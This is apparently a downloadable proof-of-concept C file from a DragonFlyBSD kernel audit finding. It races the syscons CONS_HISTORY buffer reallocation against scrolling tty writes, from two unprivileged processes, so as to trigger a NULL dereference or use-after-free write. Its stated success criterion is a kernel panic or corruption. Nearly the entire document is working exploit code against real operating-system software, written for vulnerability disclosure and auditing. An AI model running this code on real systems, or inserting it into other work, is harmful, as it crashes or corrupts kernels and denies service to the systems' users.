⬢ DragonFlyBSD Kernel Audit
DF-5015 / race5016.c
← back to finding ↓ download raw
/*
 * DF-5016 PoC -- syscons history realloc vs scroll-append race.
 *
 * proc A (unpriv, console-seat fd): loops CONS_HISTORY 25 <-> 250.
 *   Each ioctl runs sc_alloc_history_buffer(): sets scp->history=NULL,
 *   allocates a new ring, then sc_vtb_destroy+kfree()s the old one.
 * proc B (unpriv): writes scrolling lines to the same tty; every
 *   scrolled line runs sc_term_gen_scroll() -> sc_hist_save_one_line()
 *   -> sc_vtb_append(&scp->vtb, 0, scp->history, xsize) on the
 *   console/putk path, which holds syscons_lock but NOT vga_token.
 *
 * Race outcomes: NULL deref (history==NULL window) or UAF write into
 * the just-freed ring. Success criterion: kernel panic / corruption.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/consio.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NOBODY 65534

static void
drop(void)
{
	if (setgid(NOBODY) || setuid(NOBODY)) {
		perror("setuid");
		exit(1);
	}
}

static int
openvty(void)
{
	char path[32];
	int fd;

	snprintf(path, sizeof(path), "/dev/ttyv0");
	fd = open(path, O_RDWR | O_NOCTTY);
	if (fd < 0) {
		perror("open ttyv0");
		exit(1);
	}
	drop();
	return fd;
}

int
main(int argc, char **argv)
{
	int fd, lines, i;
	char row[128];

	if (argc < 2)
		return 64;
	fd = openvty();

	if (!strcmp(argv[1], "realloc")) {
		long n = 0;
		for (;;) {
			lines = 25;
			if (ioctl(fd, CONS_HISTORY, &lines))
				fprintf(stderr, "H25: %s\n", strerror(errno));
			lines = 250;
			if (ioctl(fd, CONS_HISTORY, &lines))
				fprintf(stderr, "H250: %s\n", strerror(errno));
			n++;
			if ((n & 0x3ff) == 0) {
				printf("realloc: %ld iters\n", n);
				fflush(stdout);
			}
		}
	}
	if (!strcmp(argv[1], "scroll")) {
		memset(row, 'S', 80);
		row[78] = '\r';
		row[79] = '\n';
		for (;;) {
			for (i = 0; i < 500; i++)
				if (write(fd, row, 80) != 80)
					perror("write");
			usleep(1000);
		}
	}
	return 0;
}